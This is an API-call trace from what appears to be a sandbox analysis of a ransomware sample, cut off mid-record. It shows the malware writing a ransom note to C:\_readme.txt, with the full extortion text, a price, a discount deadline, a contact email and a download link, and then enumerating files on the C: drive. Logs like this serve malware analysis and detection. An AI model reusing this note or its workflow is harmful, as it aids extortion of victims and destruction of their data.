0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.130] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.130] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.130] PathFindFileNameW (pszPath="") returned="" [0124.130] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.131] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.131] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.131] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae27f8 | out: hHeap=0x810000) returned 1 [0124.131] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.131] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.131] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x806) returned 0x3ae1ff0 [0124.131] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0124.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae2800 [0124.131] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0124.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3018 [0124.132] lstrcpyW (in: lpString1=0x3ae3018, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.132] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.132] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3aead20 [0124.132] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0124.134] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.134] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x816) returned 0x3aeb538 [0124.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK", cchWideChar=-1, lpMultiByteStr=0x3aeb538, cbMultiByte=2070, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK", lpUsedDefaultChar=0x0) returned 1047 [0124.134] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.134] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3aeb538 | out: hHeap=0x810000) returned 1 [0124.134] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.134] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned 1046 [0124.135] WriteFile (in: hFile=0x614, lpBuffer=0x3ad88e0*, nNumberOfBytesToWrite=0x416, lpNumberOfBytesWritten=0x3dcfb64, lpOverlapped=0x0 | out: lpBuffer=0x3ad88e0*, lpNumberOfBytesWritten=0x3dcfb64*=0x416, lpOverlapped=0x0) returned 1 [0124.135] CloseHandle (hObject=0x614) returned 1 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3aead20 | out: hHeap=0x810000) returned 1 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3018 | out: hHeap=0x810000) returned 1 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.137] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27d, dwReserved1=0x8100c4, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3463848 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1c) returned 0x34500e8 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f58 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.137] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27d, dwReserved1=0x8100c4, cFileName="Boot", cAlternateFileName="")) returned 1 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x38) returned 0x3463888 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f58 | out: hHeap=0x810000) returned 1 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.137] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.137] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x27d, dwReserved1=0x8100c4, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0124.137] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x27d, dwReserved1=0x8100c4, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0124.137] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27d, dwReserved1=0x8100c4, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x54) returned 0x3459f88 [0124.137] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f58 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501b0 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3463888 | out: hHeap=0x810000) returned 1 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.138] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439720 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x70) returned 0x3437008 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f58 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501b0 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3459f88 | out: hHeap=0x810000) returned 1 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439720 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.138] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4290cb80, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0124.138] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34500e8 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501b0 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xa8) returned 0x342a1b8 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f58 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x810000) returned 1 [0124.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501b0 | out: hHeap=0x810000) returned 1 [0124.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.138] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, 